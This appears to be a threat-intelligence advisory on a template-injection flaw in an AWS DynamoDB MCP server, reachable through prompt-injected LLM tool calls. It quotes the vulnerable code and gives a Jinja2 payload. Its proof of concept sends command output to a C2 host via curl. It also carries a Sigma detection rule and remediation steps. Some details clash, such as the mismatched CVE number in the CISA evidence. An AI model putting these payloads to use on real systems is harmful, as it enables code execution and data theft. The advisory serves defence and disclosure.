CVE-2026-85654: awslabs dynamodb-mcp-server CDK Generator Template Injection RCE

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: awslabs dynamodb-mcp-server (awslabs.dynamodb_mcp_server.cdk_generator (Template Engine))

Confidence: 98%

97 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 19 / 20

Threat Activity 18 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 19 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 18 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 9.8 (Critical). Hermes Threat Score assigns 97 (CRITICAL). This vulnerability allows prompt-injected LLMs or external callers to execute arbitrary code within the MCP server process by embedding template directives into DynamoDB table generation requests.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-85654: awslabs dynamodb-mcp-server CDK Generator Template Injection RCEVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTAWS MCP Server Suite

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in AWS MCP Server Suite documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Matrix

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-85654`	Frontier AI / MCP Threat Landscape
Target Product	`awslabs dynamodb-mcp-server`	`Amazon Web Services / MCP Community`
Subsystem / Component	`awslabs.dynamodb_mcp_server.cdk_generator (Template Engine)`	Autonomous agent tool & orchestration stack
Flaw Type	`CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (SSTI)`	Execution and integrity violation
Affected Versions	`all versions prior to 0.4.3`	Production deployments
Remediation Release	`0.4.3`	Immediate upgrade required

2. In-Depth Technical Decomposition

Template Injection Mechanism

The tool function generate_cdk_template() constructed dynamic templates without passing variables into the template rendering context:

# Insecure template string formatting
template_str = f"""
from aws_cdk import aws_dynamodb as dynamodb
table = dynamodb.Table(
    self, '{params.get('table_name')}',
    partition_key=dynamodb.Attribute(name='{params.get('partition_key')}', type=dynamodb.AttributeType.STRING)
)
"""
template = jinja2.Template(template_str)
return template.render()

Passing an expression like {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} in table_name compiles and evaluates the payload immediately during template rendering.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-85654 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+

   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [awslabs dynamodb-mcp-server]
          │
          ├───► 1. Ingestion via awslabs.dynamodb_mcp_server.cdk_generator (Template Engine)
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

{
  "jsonrpc": "2.0",
  "id": 42,
  "method": "tools/call",
  "params": {
    "name": "generate_table_cdk",
    "arguments": {
      "table_name": "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://c2.internal/exfil?d=$(id|base64)').read() }}",
      "partition_key": "id"
    }
  }
}

4. Detection Engineering & Telemetry

Sigma Detection Rule

title: DynamoDB MCP Server Template Injection
id: 85654c01-e654-4a1b-8f21-dynamodbmcp01
status: high
description: Detects Jinja2 template injection syntax in JSON-RPC tool parameters destined for DynamoDB MCP server.
author: Hermes Codex Detection Engineering
date: 2026-09-06
logsource:
  product: mcp
  service: dynamodb_server
detection:
  selection:
    payload|contains:
      - '__globals__'
      - '__builtins__'
      - 'popen'
      - '__import__'
  condition: selection
level: critical

5. Remediation & Operational Playbook

Apply Software Patches: Upgrade awslabs dynamodb-mcp-server to version(s) 0.4.3 immediately.
Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.